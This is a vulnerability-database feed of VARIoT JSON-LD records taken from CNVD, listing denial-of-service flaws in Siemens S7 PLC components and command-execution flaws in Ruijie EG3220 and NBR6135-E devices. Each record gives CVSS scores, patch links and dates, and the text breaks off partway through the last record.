# Recent vulnerabilities from VARIoT 📡 ## [var-202407-2188](https://vulnerability.circl.lu/vuln/var-202407-2188) ```json { "id": "VAR-202407-2188", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": [ { "vendor": "siemens", "model": "cpu pn/dp", "version": "315-2v3.3", "scope": "eq", "trust": 0.6 }, { "vendor": "siemens", "model": "cp", "version": "343-1v3.0", "scope": "eq", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "CNVD", "id": "CNVD-2024-25230", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:N/I:N/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 6.1, "severity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.9, "id": "CNVD-2024-25230", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": "Siemens (China) Co., Ltd. is a company focusing on electrification, automation and digitalization.\n\nMany products of Siemens (China) Co., Ltd. have denial of service vulnerabilities. Attackers can exploit the vulnerabilities to cause abnormal processing of the device and crash. The device can only be restored by manually restarting the PLC.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25230", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/554926", "title": "Patch for Siemens (China) Co., Ltd. has multiple products with a denial of service vulnerability (CNVD-C-2024-309062)", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25230", "date": "2024-06-11T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25230", "date": "2024-07-06T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25230" } ], "data": "Siemens (China) Co., Ltd. has multiple products with a denial of service vulnerability (CNVD-C-2024-309062)", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:46:32.699000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-2188", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202406-3119](https://vulnerability.circl.lu/vuln/var-202406-3119) ```json { "id": "VAR-202406-3119", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": [ { "vendor": "starnet ruijie network", "model": "eg3220", "version": null, "scope": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-25666", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.1, "severity": "HIGH", "exploitabilityScore": 3.9, "impactScore": 10.0, "id": "CNVD-2024-25666", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": "Beijing StarNet Ruijie Network Technology Co., Ltd. EG3220 is a new generation of multi-service security gateway.\n\nBeijing StarNet Ruijie Network Technology Co., Ltd. EG3220 has a command execution vulnerability, which can be exploited by attackers to gain control of the server.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25666", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/547721", "title": "Patch for Beijing Xingwang Ruijie Network Technology Co., Ltd. EG3220 has a command execution vulnerability", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25666", "date": "2024-06-04T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25666", "date": "2024-06-30T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25666" } ], "data": "Beijing Xingwang Ruijie Network Technology Co., Ltd. EG3220 has a command execution vulnerability", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:46:22.685000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202406-3119", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-1740](https://vulnerability.circl.lu/vuln/var-202407-1740) ```json { "id": "VAR-202407-1740", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": [ { "vendor": "xingwang ruijie network", "model": "nbr6135-e", "version": "2019.04.01.14", "scope": "eq", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-25968", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.1, "severity": "HIGH", "exploitabilityScore": 3.9, "impactScore": 10.0, "id": "CNVD-2024-25968", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": "NBR6135-E is a router.\n\nBeijing Xingwang Ruijie Network Technology Co., Ltd. NBR6135-E has a command execution vulnerability, and attackers can exploit the vulnerability to execute commands.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25968", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": true, "trust": 1.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/554746", "title": "Patch for Beijing Xingwang Ruijie Network Technology Co., Ltd. NBR6135-E has a command execution vulnerability", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25968", "date": "2024-06-07T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25968", "date": "2024-07-11T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25968" } ], "data": "Beijing Xingwang Ruijie Network Technology Co., Ltd. NBR6135-E has a command execution vulnerability", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:46:18.378000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-1740", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-1417](https://vulnerability.circl.lu/vuln/var-202407-1417) ```json { "id": "VAR-202407-1417", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": [ { "vendor": "siemens", "model": "cpu pn/dp", "version": "319-3v3.2.14", "scope": "eq", "trust": 0.6 }, { "vendor": "siemens", "model": "cp", "version": "343-1v2.6.0", "scope": "eq", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "CNVD", "id": "CNVD-2024-25232", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:N/I:N/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 6.1, "severity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.9, "id": "CNVD-2024-25232", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": "Siemens (China) Co., Ltd. is a company focusing on electrification, automation and digitalization.\n\nMany products of Siemens (China) Co., Ltd. have denial of service vulnerabilities. Attackers can exploit the vulnerabilities to cause equipment shutdown and manually restart the PLC to recover.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25232", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/554916", "title": "Patch for Siemens (China) Co., Ltd. has multiple products with denial of service vulnerabilities", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25232", "date": "2024-06-11T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25232", "date": "2024-07-06T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25232" } ], "data": "Siemens (China) Co., Ltd. has multiple products with denial of service vulnerabilities", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:46:07.784000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-1417", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-1103](https://vulnerability.circl.lu/vuln/var-202407-1103) ```json { "id": "VAR-202407-1103", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": [ { "vendor": "siemens", "model": "cpu pn/dp", "version": "319-3v3.2.14", "scope": "eq", "trust": 0.6 }, { "vendor": "siemens", "model": "cp", "version": "343-1v2.6.0", "scope": "eq", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "CNVD", "id": "CNVD-2024-25231", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:N/I:N/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 6.1, "severity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.9, "id": "CNVD-2024-25231", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": "Siemens (China) Co., Ltd. is a company focusing on electrification, automation and digitalization.\n\nMany products of Siemens (China) Co., Ltd. have denial of service vulnerabilities. Attackers can exploit the vulnerabilities to cause abnormal processing of the device and crash. The device can only be restored by manually restarting the PLC.", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": [ { "db": "CNVD", "id": "CNVD-2024-25231", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/554921", "title": "Patch for Siemens (China) Co., Ltd. has multiple products with a denial of service vulnerability (CNVD-C-2024-309064)", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25231", "date": "2024-06-11T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2024-25231", "date": "2024-07-06T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-25231" } ], "data": "Siemens (China) Co., Ltd. has multiple products with a denial of service 